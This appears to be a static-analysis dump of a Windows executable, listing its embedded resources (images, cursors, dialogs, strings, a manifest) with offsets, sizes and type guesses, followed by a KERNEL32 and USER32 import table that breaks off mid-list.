PNG	0x42ccf8	0xc94	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0034161490683229
PNG	0x42bf78	0xd80	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031828703703705
PNG	0x42bea0	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x43bd88	0xbd0	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.003637566137566
PNG	0x43b0f0	0xc97	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0034129692832765
PNG	0x43a370	0xd7a	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031884057971014
PNG	0x432588	0xbda	PNG image data, 3 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0036255767963085
PNG	0x4318f8	0xc8f	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.003421461897356
PNG	0x430b70	0xd86	PNG image data, 13 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0031773541305604
PNG	0x402720	0x1908	PNG image data, 50 x 178, 8-bit/color RGBA, non-interlaced	English	United States	0.9887640449438202
PNG	0x404028	0xb75	PNG image data, 3 x 61, 8-bit/color RGBA, non-interlaced	English	United States	1.0037504261847938
PNG	0x4108b0	0xbd0	PNG image data, 9 x 51, 8-bit/color RGBA, non-interlaced	English	United States	1.003637566137566
PNG	0x425b70	0x1570	PNG image data, 18 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0020043731778425
PNG	0x424548	0x1623	PNG image data, 18 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0019410622904534
STYLE_XML	0x330840	0x4e01	HTML document, ASCII text, with CRLF line terminators	English	United States	0.1839851770243878
STYLE_XML	0x363000	0x4b09	HTML document, ASCII text, with CRLF line terminators	English	United States	0.20396689052006872
STYLE_XML	0x3972a8	0x4aa6	HTML document, ASCII text, with CRLF line terminators	English	United States	0.20460491889063318
STYLE_XML	0x3c8a70	0x4a18	HTML document, ASCII text, with CRLF line terminators	English	United States	0.20397511598481655
STYLE_XML	0x3fdb90	0x1955	HTML document, ASCII text, with CRLF line terminators	English	United States	0.1918272937548188
RT_CURSOR	0x32f0a8	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0x32f1e0	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0x32f2c0	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0x32f410	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0x32f560	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x32f6b0	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0x32f800	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x32f950	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0x32faa0	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x32fbf0	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x32fd40	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0x32fe90	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0x32ffe0	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0x330130	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0x330280	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0x3303d0	0x134	data	English	United States	0.3246753246753247
RT_CURSOR	0x465c70	0x134	data	English	United States	0.20454545454545456
RT_CURSOR	0x465dc0	0x134	data	English	United States	0.2857142857142857
RT_CURSOR	0x465f10	0x134	data	English	United States	0.4675324675324675
RT_CURSOR	0x466060	0x134	data	English	United States	0.2532467532467532
RT_CURSOR	0x4661b0	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.40584415584415584
RT_CURSOR	0x466300	0x134	data	English	United States	0.4383116883116883
RT_CURSOR	0x466450	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_CURSOR	0x4665a0	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	English	United States	0.39285714285714285
RT_CURSOR	0x4666f0	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	English	United States	0.4512987012987013
RT_CURSOR	0x466840	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x466990	0x134	data	English	United States	0.4448051948051948
RT_CURSOR	0x466ae0	0x134	data	English	United States	0.525974025974026
RT_BITMAP	0x43f3b0	0x62c	Device independent bitmap graphic, 324 x 9 x 4, image size 1476	English	United States	0.2430379746835443
RT_BITMAP	0x43f2c8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.5818965517241379
RT_BITMAP	0x43f9e0	0x4a0	Device independent bitmap graphic, 144 x 15 x 4, image size 1080	English	United States	0.3783783783783784
RT_BITMAP	0x43fe80	0x197a	Device independent bitmap graphic, 144 x 15 x 24, image size 6482, resolution 2834 x 2834 px/m	English	United States	0.380098129408157
RT_BITMAP	0x441800	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.51
RT_BITMAP	0x441ad8	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.515
RT_BITMAP	0x441db0	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.43
RT_BITMAP	0x442088	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.44
RT_BITMAP	0x4427c8	0x182a	Device independent bitmap graphic, 128 x 16 x 24, image size 6146, resolution 2834 x 2834 px/m	English	United States	0.2924345295829292
RT_BITMAP	0x442360	0x468	Device independent bitmap graphic, 128 x 16 x 4, image size 1024	English	United States	0.3058510638297872
RT_BITMAP	0x443ff8	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256	English	United States	0.4803030303030303
RT_BITMAP	0x444850	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256	English	United States	0.4765151515151515
RT_BITMAP	0x4450a8	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240	English	United States	0.41569767441860467
RT_BITMAP	0x445200	0x188	Device independent bitmap graphic, 48 x 12 x 4, image size 288	English	United States	0.39285714285714285
RT_BITMAP	0x445fb8	0x1e8	Device independent bitmap graphic, 48 x 16 x 4, image size 384	English	United States	0.5081967213114754
RT_BITMAP	0x446ac8	0xad2	Device independent bitmap graphic, 29 x 31 x 24, image size 2730, resolution 2834 x 2834 px/m	English	United States	0.18736462093862816
RT_BITMAP	0x4475a0	0xad2	Device independent bitmap graphic, 29 x 31 x 24, image size 2730, resolution 2834 x 2834 px/m	English	United States	0.1844765342960289
RT_BITMAP	0x448078	0xb0a	Device independent bitmap graphic, 31 x 29 x 24, image size 2786, resolution 2834 x 2834 px/m	English	United States	0.19497523000707714
RT_BITMAP	0x448b88	0x7e2	Device independent bitmap graphic, 25 x 26 x 24, image size 1978, resolution 2834 x 2834 px/m	English	United States	0.24033696729435083
RT_BITMAP	0x449370	0xb0a	Device independent bitmap graphic, 31 x 29 x 24, image size 2786, resolution 2834 x 2834 px/m	English	United States	0.1935598018400566
RT_BITMAP	0x449e80	0x134	Device independent bitmap graphic, 17 x 17 x 4, image size 204	English	United States	0.37337662337662336
RT_BITMAP	0x4461a0	0x928	Device independent bitmap graphic, 48 x 16 x 24, image size 0, resolution 2834 x 2834 px/m	English	United States	0.533703071672355
RT_BITMAP	0x444520	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	English	United States	0.7518518518518519
RT_BITMAP	0x444d78	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	English	United States	0.3790123456790123
RT_BITMAP	0x445388	0xc2a	Device independent bitmap graphic, 64 x 16 x 24, image size 3074, resolution 2834 x 2834 px/m	English	United States	0.42485549132947975
RT_BITMAP	0x4418c8	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.9367816091954023
RT_BITMAP	0x441ba0	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.4482758620689655
RT_BITMAP	0x441e78	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.33524904214559387
RT_BITMAP	0x442150	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	English	United States	0.3371647509578544
RT_BITMAP	0x449fb8	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	English	United States	0.6320987654320988
RT_BITMAP	0x44a2e8	0x2256	Device independent bitmap graphic, 324 x 9 x 24, image size 8750, resolution 2834 x 2834 px/m	English	United States	0.0608646188850967
RT_BITMAP	0x44c540	0x602a	Device independent bitmap graphic, 192 x 32 x 32, image size 24578, resolution 2834 x 2834 px/m	English	United States	0.2250385896498497
RT_BITMAP	0x452570	0x2028	Device independent bitmap graphic, 128 x 16 x 32, image size 0	English	United States	0.24708454810495628
RT_BITMAP	0x454598	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.11570247933884298
RT_BITMAP	0x455978	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.10999606454151908
RT_BITMAP	0x456d58	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.11511216056670602
RT_BITMAP	0x458138	0xeb2	Device independent bitmap graphic, 31 x 30 x 32, image size 3722, resolution 2834 x 2834 px/m	English	United States	0.13157894736842105
RT_BITMAP	0x458ff0	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.11983471074380166
RT_BITMAP	0x45a3d0	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.27371113734750097
RT_BITMAP	0x45b7b0	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.2699724517906336
RT_BITMAP	0x45cb90	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.2426210153482881
RT_BITMAP	0x45df70	0xeb2	Device independent bitmap graphic, 31 x 30 x 32, image size 3722, resolution 2834 x 2834 px/m	English	United States	0.3413078149920255
RT_BITMAP	0x45ee28	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	English	United States	0.23868555686737505
RT_BITMAP	0x460208	0x5a66	Device independent bitmap graphic, 77 x 75 x 32, image size 23102, resolution 2834 x 2834 px/m	English	United States	0.046365914786967416
RT_BITMAP	0x330640	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0x3306f8	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0x2f54f0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.40053763440860213
RT_ICON	0x2f57d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5202702702702703
RT_ICON	0x466c68	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.33198924731182794
RT_ICON	0x466f50	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.41216216216216217
RT_ICON	0x4670a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.42905405405405406
RT_ICON	0x4671c8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.2661290322580645
RT_ICON	0x4674d8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.18010752688172044
RT_ICON	0x4677c0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.35135135135135137
RT_ICON	0x4678e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.06092057761732852
RT_ICON	0x468190	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.07658959537572255
RT_ICON	0x4686f8	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3072	English	United States	0.042901234567901236
RT_ICON	0x4693a0	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768	English	United States	0.10550458715596331
RT_ICON	0x469768	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.6400709219858156
RT_ICON	0x469bd0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5
RT_MENU	0x469d20	0x11c	data	English	United States	0.573943661971831
RT_DIALOG	0x32ed28	0x80	data	English	United States	0.7265625
RT_DIALOG	0x43d048	0x13c	data	English	United States	0.5949367088607594
RT_DIALOG	0x43d188	0x1a4	data	English	United States	0.5380952380952381
RT_DIALOG	0x43c9b0	0xe6	data	English	United States	0.6347826086956522
RT_DIALOG	0x43ca98	0x390	data	English	United States	0.4418859649122807
RT_DIALOG	0x43ce28	0x21c	data	English	United States	0.5037037037037037
RT_DIALOG	0x43d330	0x390	data	English	United States	0.4692982456140351
RT_DIALOG	0x43d6c0	0x1dc	data	English	United States	0.5441176470588235
RT_DIALOG	0x43d8a0	0x346	data	English	United States	0.46897374701670647
RT_DIALOG	0x43dbe8	0x334	data	English	United States	0.43658536585365854
RT_DIALOG	0x43c958	0x58	data	English	United States	0.8068181818181818
RT_DIALOG	0x43df20	0x23c	data	English	United States	0.5122377622377622
RT_DIALOG	0x43e8f0	0x1c2	data	English	United States	0.5066666666666667
RT_DIALOG	0x43e160	0x160	data	English	United States	0.5994318181818182
RT_DIALOG	0x43e2c0	0xb2	data	English	United States	0.7191011235955056
RT_DIALOG	0x43e378	0x3d4	data	English	United States	0.3408163265306122
RT_DIALOG	0x43e750	0x19e	data	English	United States	0.6280193236714976
RT_DIALOG	0x43eab8	0x1a2	data	English	United States	0.5741626794258373
RT_DIALOG	0x43ec60	0x34	data	English	United States	0.8076923076923077
RT_DIALOG	0x43ec98	0x2a8	data	English	United States	0.5338235294117647
RT_DIALOG	0x43ef40	0x382	data	English	United States	0.48552338530066813
RT_DIALOG	0x330520	0xe8	data	English	United States	0.6336206896551724
RT_DIALOG	0x330608	0x34	data	English	United States	0.9038461538461539
RT_STRING	0x469e40	0x1f6	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.44223107569721115
RT_STRING	0x46a038	0x3e	data	English	United States	0.7096774193548387
RT_STRING	0x46a078	0x60	data	English	United States	0.8125
RT_STRING	0x46a0d8	0x76	data	English	United States	0.8983050847457628
RT_STRING	0x46a150	0xb6	AmigaOS bitmap font "(W\211[\335\210E\232\325R\013z\017_/", 25451 elements, 2nd, 3rd	English	United States	0.8791208791208791
RT_STRING	0x46a208	0x110	data	English	United States	0.7794117647058824
RT_STRING	0x46a318	0x216	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.46441947565543074
RT_STRING	0x46a530	0x42	data	English	United States	0.6818181818181818
RT_STRING	0x46a578	0x116	data	English	United States	0.5323741007194245
RT_STRING	0x46a690	0x14a	data	English	United States	0.5545454545454546
RT_STRING	0x46c2b8	0x32c	data	English	United States	0.4125615763546798
RT_STRING	0x46c5e8	0x248	data	English	United States	0.5085616438356164
RT_STRING	0x46d2e0	0x84	data	English	United States	0.5833333333333334
RT_STRING	0x46c830	0x2a8	data	English	United States	0.36176470588235293
RT_STRING	0x46cad8	0x20e	data	English	United States	0.3155893536121673
RT_STRING	0x46cce8	0x24c	data	English	United States	0.4370748299319728
RT_STRING	0x46d368	0x3c	data	English	United States	0.65
RT_STRING	0x46cf38	0x16e	data	English	United States	0.39344262295081966
RT_STRING	0x46d0a8	0xa6	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.7228915662650602
RT_STRING	0x46d3a8	0x184	data	English	United States	0.4742268041237113
RT_STRING	0x46d530	0x66	data	English	United States	0.696078431372549
RT_STRING	0x46d7d8	0x1d6	Matlab v4 mat-file (little endian) S, numeric, rows 0, columns 0	English	United States	0.35319148936170214
RT_STRING	0x46d598	0x186	data	English	United States	0.5384615384615384
RT_STRING	0x46d720	0xb2	data	English	United States	0.6179775280898876
RT_STRING	0x46d9b0	0x48	Matlab v4 mat-file (little endian) a, numeric, rows 0, columns 0	English	United States	0.7083333333333334
RT_STRING	0x46d150	0x18c	data	English	United States	0.398989898989899
RT_STRING	0x46a7e0	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0x46a868	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0x46a898	0x184	data	English	United States	0.48711340206185566
RT_STRING	0x46aa20	0x4ee	data	English	United States	0.375594294770206
RT_STRING	0x46b2a0	0x264	data	English	United States	0.3333333333333333
RT_STRING	0x46afc0	0x2da	data	English	United States	0.3698630136986301
RT_STRING	0x46bce8	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0x46af10	0xac	data	English	United States	0.45348837209302323
RT_STRING	0x46bbd8	0xde	data	English	United States	0.536036036036036
RT_STRING	0x46b508	0x4a8	data	English	United States	0.3221476510067114
RT_STRING	0x46b9b0	0x228	data	English	United States	0.4003623188405797
RT_STRING	0x46bcb8	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0x46bd78	0x53e	data	English	United States	0.2965722801788376
RT_GROUP_CURSOR	0x466828	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466588	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x465da8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x465ef8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466048	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466198	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4662e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466438	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4666d8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466978	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466ac8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x466c18	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32f298	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x32fa88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32f3f8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32f938	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32f7e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x330118	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32f698	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32fd28	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32f548	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32fbd8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32fe78	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x32ffc8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x330268	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x3303b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x330508	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x2f5900	0x22	data	English	United States	1.0
RT_GROUP_ICON	0x467078	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0x4674b0	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0x469708	0x5a	data	English	United States	0.7444444444444445
RT_GROUP_ICON	0x469cf8	0x22	data	English	United States	1.1176470588235294
RT_VERSION	0x32eda8	0x2fc	data	English	United States	0.4698952879581152
RT_MANIFEST	0x46d9f8	0x4d7	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (1179), with CRLF line terminators	English	United States	0.47699757869249393
None	0x466c30	0x1c	data	English	United States	1.2857142857142858
None	0x466c50	0x18	data	English	United States	1.2916666666666667

Imports

DLL	Import
KERNEL32.dll	GetStringTypeW, WriteConsoleW, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, SetFilePointerEx, ReadConsoleW, GetConsoleMode, GetConsoleCP, GetTimeZoneInformation, EnumSystemLocalesW, IsValidLocale, InitializeSListHead, ExitProcess, GetStdHandle, GetFileType, SetStdHandle, HeapQueryInformation, QueryPerformanceFrequency, VirtualQuery, VirtualAlloc, GetCommandLineA, FreeLibraryAndExitThread, ExitThread, CreateThread, CreateDirectoryW, RtlPcToFileHeader, RtlUnwindEx, OutputDebugStringW, LCMapStringW, GetCPInfo, GetStartupInfoW, GetSystemTimeAsFileTime, QueryPerformanceCounter, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, WaitForSingleObjectEx, ResetEvent, GetUserDefaultLCID, GetTempFileNameW, FindResourceExW, SystemTimeToTzSpecificLocalTime, GetFileTime, GetFileSizeEx, GetFileAttributesExW, FileTimeToLocalFileTime, SetErrorMode, SearchPathW, GetProfileIntW, GetTempPathW, VirtualProtect, GlobalGetAtomNameW, GetThreadLocale, lstrcmpiW, IsDebuggerPresent, DuplicateHandle, UnlockFile, SetFilePointer, SetEndOfFile, ReadFile, LockFile, GetVolumeInformationW, GetFullPathNameW, FlushFileBuffers, FindFirstFileW, FindClose, DeleteFileW, GlobalFlags, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, GetCurrentDirectoryW, GetFileSize, LocalReAlloc, LocalAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSection, CompareStringW, GlobalFindAtomW, EncodePointer, CopyFileW, MulDiv, GlobalSize, lstrcpyW, GlobalFree, GlobalUnlock, FreeResource, GlobalAddAtomW, GetCurrentProcessId, lstrcmpW, GlobalDeleteAtom, GlobalLock, GlobalAlloc, LoadLibraryExW, GetCurrentThread, QueryActCtxW, FindActCtxSectionStringW, DeactivateActCtx, ActivateActCtx, CreateActCtxW, GetModuleHandleExW, InitializeCriticalSectionAndSpinCount, SetLastError, OutputDebugStringA, ResumeThread, SuspendThread, SetThreadPriority, GetCurrentThreadId, CreateEventW, SetEvent, VerifyVersionInfoW, VerSetConditionMask, LocalFree, FormatMessageW, SearchPathA, GetLocalTime, SetFileAttributesA, GetSystemInfo, lstrcpyA, CreateFileW, lstrlenA, GetModuleFileNameW, WriteFile, SizeofResource, GetFileAttributesW, GetWindowsDirectoryW, GetSystemDirectoryW, CreateProcessW, GetModuleHandleW, FindResourceW, LoadResource, LoadLibraryW, LockResource, GetModuleHandleA, WideCharToMultiByte, GetPrivateProfileStringW, MultiByteToWideChar, GetSystemDefaultLangID, GetPrivateProfileSectionNamesW, GetPrivateProfileIntW, WritePrivateProfileStringW, GetTickCount, Sleep, lstrcmpA, K32EnumProcesses, Process32FirstW, Process32NextW, CreateToolhelp32Snapshot, OpenProcess, GetProcessId, FileTimeToSystemTime, lstrlenW, GetProcessHeap, DeleteCriticalSection, DecodePointer, HeapAlloc, RaiseException, HeapReAlloc, HeapSize, InitializeCriticalSectionEx, LeaveCriticalSection, GetCommandLineW, EnterCriticalSection, HeapFree, FreeLibrary, GetProcAddress, CloseHandle, GetLastError, GetVersionExW, WaitForSingleObject, GetCurrentProcess
USER32.dll	MoveWindow, GetMonitorInfoW, MonitorFromWindow, WinHelpW, GetScrollInfo, SetScrollInfo, GetTopWindow, GetClassLongPtrW, SetWindowLongPtrW, GetWindowLongPtrW, SetWindowLongW, EqualRect, CopyRect, AdjustWindowRectEx, GetWindowTextLengthW, GetWindowTextW, RemovePropW, GetPropW, SetPropW, ShowScrollBar, GetScrollRange, SetScrollRange, GetScrollPos, SetScrollPos, ScrollWindow, SetForegroundWindow, GetForegroundWindow, TrackPopupMenu, SetMenu, GetMenu, GetCapture, SetFocus, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, IsChild, IsMenu, CreateWindowExW, GetClassInfoExW, GetClassInfoW, RegisterClassW, CallWindowProcW, DefWindowProcW, GetMessageTime, GetMessagePos, InvalidateRect, UpdateWindow, LoadBitmapW, SetMenuItemInfoW, GetMenuCheckMarkDimensions, SetMenuItemBitmaps, EnableMenuItem, CheckMenuItem, EndPaint, BeginPaint, ReleaseDC, GetWindowDC, GetDC, TabbedTextOutW, GrayStringW, DrawTextExW, DrawTextW, RemoveMenu, AppendMenuW, InsertMenuW, GetMenuItemCount, GetMenuItemID, GetSubMenu, CheckDlgButton, CreateAcceleratorTableW, UnregisterClassW, EnableWindow, IsIconic, GetMenuState, GetMenuStringW, MapDialogRect, SetWindowContextHelpId, UnhookWindowsHookEx, PtInRect, ScreenToClient, ClientToScreen, SetActiveWindow, GetNextDlgTabItem, GetDlgItem, EndDialog, CreateDialogIndirectParamW, DestroyWindow, GetLastActivePopup, GetWindowLongW, IsWindowEnabled, SetCursor, ShowOwnedPopups, PostQuitMessage, DrawIconEx, IsRectEmpty, OffsetRect, InflateRect, FillRect, DrawFocusRect, GetSysColorBrush, GetSysColor, MapWindowPoints, RedrawWindow, SetWindowRgn, DrawStateW, GetFocus, DrawFrameControl, DrawEdge, RegisterWindowMessageW, SetWindowTextW, IsDialogMessageW, IntersectRect, SetLayeredWindowAttributes, SetRectEmpty, LoadCursorW, SystemParametersInfoW, EnumDisplayMonitors, SetParent, MonitorFromPoint, OpenClipboard, CloseClipboard, SetClipboardData, EmptyClipboard, DestroyIcon, CallNextHookEx, SetWindowsHookExW, LoadImageW, CopyImage, TrackMouseEvent, IsZoomed, CharUpperW, GetAsyncKeyState, SetCapture, ReleaseCapture, GetClientRect, LoadIconW, DrawIcon, GetSystemMetrics, SendMessageW, PostMessageW, GetDesktopWindow, MessageBoxA, GetWindowTextA, PeekMessageW, DispatchMessageW, RegisterWindowMessageA, GetClassNameA, GetWindow, GetWindowThreadProcessId, GetParent, GetClassNameW, FindWindowW, EnumWindows, GetDlgCtrlID, IsWindow, ShowWindow, EnumChildWindows, GetWindowRect, SetDlgItemTextW, MessageBoxW, SetWindowPos, wsprintfW, GetMessageW, TranslateMessage, IsWindowVisible, GetActiveWindow, GetKeyState, ValidateRect, GetCursorPos, GetKeyNameTextW, SubtractRect, RegisterClipboardFormatW, CharUpperBuffW, TranslateAcceleratorW, InsertMenuItemW, UnpackDDElParam, ReuseDDElParam, FrameRect, LoadAcceleratorsW, IsClipboardFormatAvailable, PostThreadMessageW, IsCharLowerW, MapVirtualKeyExW, DrawMenuBar, DefFrameProcW, DefMDIChildProcW, TranslateMDISysAccel, GetComboBoxInfo, CreateMenu, DestroyCursor, GetWindowRgn, HideCaret, InvertRect, MapVirtualKeyW, GetKeyboardState, GetKeyboardLayout, ToUnicodeEx, GetNextDlgGroupItem, InvalidateRgn, CopyAcceleratorTableW, CharNextW, UpdateLayeredWindow, SendDlgItemMessageA, WaitMessage, RealChildWindowFromPoint, GetUpdateRect, SetClassLongPtrW, DestroyAcceleratorTable, ModifyMenuW, SetMenuDefaultItem, GetMenuDefaultItem, GetMenuItemInfoW, CopyIcon, GetIconInfo, GetDoubleClickTime, EnableScrollBar, DestroyMenu, SetTimer, KillTimer, LoadMenuW, GetSystemMenu, DeleteMenu, MessageBeep, WindowFromPoint, NotifyWinEvent, SetCursorPos, SetRect, UnionRect, BringWindowToTop, 